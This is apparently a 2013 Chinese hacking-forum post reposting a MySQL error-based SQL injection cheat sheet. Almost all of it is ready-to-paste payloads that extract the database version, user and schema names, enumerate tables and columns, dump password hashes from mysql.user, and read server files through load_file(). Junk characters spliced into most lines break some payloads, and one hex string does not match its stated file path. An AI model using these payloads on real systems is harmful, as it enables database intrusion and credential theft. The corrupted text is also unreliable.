本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 : x% J- Z9 O6 E( _- M; N
: v5 y! y/ H2 m, O F/ l
- I2 Q6 W& F: B2 z( i( q
Mysql暴错注入参考(pdf),每天一贴。。。
/ Y! k; P2 g7 f
+ g1 |: g, ?8 P5 w" j; BMySql Error Based Injection Reference
0 v" z |0 a& e; i2 B: B9 a[Mysql暴错注入参考]! r: g# w, J$ ^9 F
Authornig0s1992
; D# O! c; r/ s1 V. T+ t) j- tBlog:http://pnig0s1992.blog.51cto.com/
8 J/ ]* h5 M5 gTeAm:http://www.FreeBuf.com/# H) b( Y8 S0 P9 m& O/ ]' l
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
- z$ R8 a' \# k5 \% ^小部分版本使用name_const()时会报错.可以用给出的Method.2测试
. u; G! k% {# x# F" u6 e, @& M查询版本:3 G' c) J6 J! J: E
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
/ M4 g8 b& @% y3 ^8 m$ sjoin+(select+name_const(@@version,0))b)c)
$ B- f9 L2 D! ^& b8 S8 M" q ?2 JMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro, a8 p/ b8 Z3 N: j
up by a)b)4 I/ O% f+ @' u1 e
查询当前用户:
* Y3 A1 q+ H5 T6 ?: ]- x AMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)( _0 i- ?& [+ q/ \! a/ V2 m
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
) `6 F; h( P, D3 S" Vand(0)*2))x+from+information_schema.tables+group+by+x)a)
2 x2 q4 z/ }. b) n0 H" i( b查询当前数据库:( B$ V8 R, O# V( V% F
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
( ^, d4 L2 \' z9 C3 y2 E- KMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo8 v. |' ^- H& S5 T4 _7 B, U" E
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
% q8 s; s9 F9 p! e- l依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+3 v( }) ]" \; E6 Q9 }) p( b
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
7 R0 G6 L( s) M# T6 D* a顺序替换, b! N' `" e: u6 v2 F
爆指定库数目:2 c6 e) B& k4 j* [
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
9 H# z/ k5 F+ k( A" G% A" Y: ~able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group" |8 a2 z$ w7 A6 O$ }
+by+x)a)+and+1=1 0x6D7973716C=mysql# g+ ^$ G/ j& y
依次爆表:: m8 ^, v6 ]" ]
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t5 T0 T7 I+ K. O! Y o2 V3 b
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta) t/ g5 D! m* \- r. Y! U
bles+group+by+x)a)+and+1=1
' A3 _% C [9 [7 s/ B0x6D7973716C=Mysql 将n顺序替换1 h1 M9 [$ S" r/ N+ T: `. t+ N8 P
爆表内字段数目:$ w5 B9 V* h# G# C
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE( ~+ Z' t& Q1 i. B: ?' `/ [
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran+ r& b( [# B! {; L9 W% h
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=10 i3 L% M0 ~! h& j' z: ~
依次爆字段:3 R& B/ `* a. W" R
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
0 A ~; G* }' {5 K+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
' k# t, p" U+ B1 @loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换+ \- M# `5 m5 s& A: z5 w6 \' b
依次暴内容:* O$ l& p4 T+ [6 e! [$ ?
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche& {2 l9 m0 p# v4 t
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1+ M9 _" T0 [6 m% h+ b7 N
将n顺序替换
4 X$ b* D( J( J1 A爆文件内容:, O/ I/ [2 Y2 E( w' b5 _& q/ R
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
* ?- X1 u) h: b) A: t# b1 _from+information_schema.tables+group+by+a)b)
; u* U; S0 p. I9 @* k+ C# O) |0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节: B8 v2 I$ p, w. B( x
Thx for reading.- l: F% i+ \ w P" b4 Q2 W6 l
s* U. a$ M i! _4 A8 b! l
不要下载也可以, 5 T$ ^% V g V5 K, X
|